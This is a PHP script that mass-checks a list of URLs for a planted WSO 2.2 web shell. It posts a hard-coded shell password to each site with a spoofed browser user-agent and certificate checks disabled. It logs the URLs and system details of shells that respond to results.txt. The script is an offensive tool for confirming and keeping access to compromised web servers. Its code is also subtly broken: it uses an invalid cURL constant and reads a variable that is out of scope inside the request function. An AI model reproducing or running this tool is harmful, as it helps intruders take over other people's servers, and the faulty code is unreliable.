<?php
$connections = 5;
$postdata = array('pass'    => 'sdasdas');

$urls = file('urls.txt');

error_reporting(E_ALL);
ignore_user_abort(true);
set_time_limit(0);

if (!is_writable('connect_error.txt')) {exit('connect_error.txt - not writable!');}
if (!is_writable('not_shell.txt'))     {exit('not_shell.txt - not writable!');}
if (!is_writable('results.txt'))       {exit('results.txt - not writable!');}


$links = array();

foreach ($urls as $link)
{
  $link = trim($link);
  if (empty($link)) {  continue;}

  $links[] = $link;
  if (count($links)>=$connections)    {multicurl($links);$links = array();}
}
if (count($links)>0)  {multicurl($links);$links = array();}

echo 'Completed!';

function multicurl ($links)
{
  $flows=count($links);

  for ($i = 0; $i < $flows; $i++)  $ch[$i] = curl_init();
  for ($i = 0; $i < $flows; $i++)
  {
    curl_setopt($ch[$i], CURLOPT_URL,$links[$i]);
    curl_setopt($ch[$i], CURLOPT_TIMEOUT, 25);
    curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch[$i], CURLOPT_CURLOPT_POST, 1);
	curl_setopt($ch[$i], CURLOPT_POSTFIELDS, $postdata);
    curl_setopt($ch[$i], CURLOPT_HTTPHEADER, array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3","Connection: keep-alive"));
    curl_setopt($ch[$i], CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch[$i], CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch[$i], CURLOPT_ENCODING, 'gzip,deflate');
  }

  $mh = curl_multi_init();
  for ($i = 0; $i < $flows; $i++)  curl_multi_add_handle($mh,$ch[$i]);
  $running=null;
  do
  {
    curl_multi_exec($mh,$running);
    usleep(3000);
  }  while ($running > 0);


  for ($i2 = 0; $i2 < $flows; $i2++)
  {
    if (curl_error($ch[$i2]))
    {
      file_put_contents('connect_error.txt',"{$links[$i2]}\r\n",FILE_APPEND);
      echo "<b>Multi curl error:($i2):</b>".curl_error($ch[$i2])." <br>\r\n";
    }
    else
    {
      $r = curl_multi_getcontent($ch[$i2]);
      preg_match_os($r,$links[$i2]);
    }
  }
  for ($i = 0; $i < $flows; $i++)
  {
    curl_multi_remove_handle($mh, $ch[$i]);
    curl_close($ch[$i]);
  }
  curl_multi_close($mh);
  return ;
}


function preg_match_os($r,$url)
{
  if (!preg_match('!WSO 2.2!',$r)) {file_put_contents('not_shell.txt',"$url\r\n",FILE_APPEND);return ;}
  if (!preg_match('!<nobr>(.*?)<!is',$r,$res)) {file_put_contents('not_shell.txt',"$url\r\n",FILE_APPEND);return ;}
  file_put_contents('results.txt',"{$res[1]}:::$url\r\n",FILE_APPEND);
}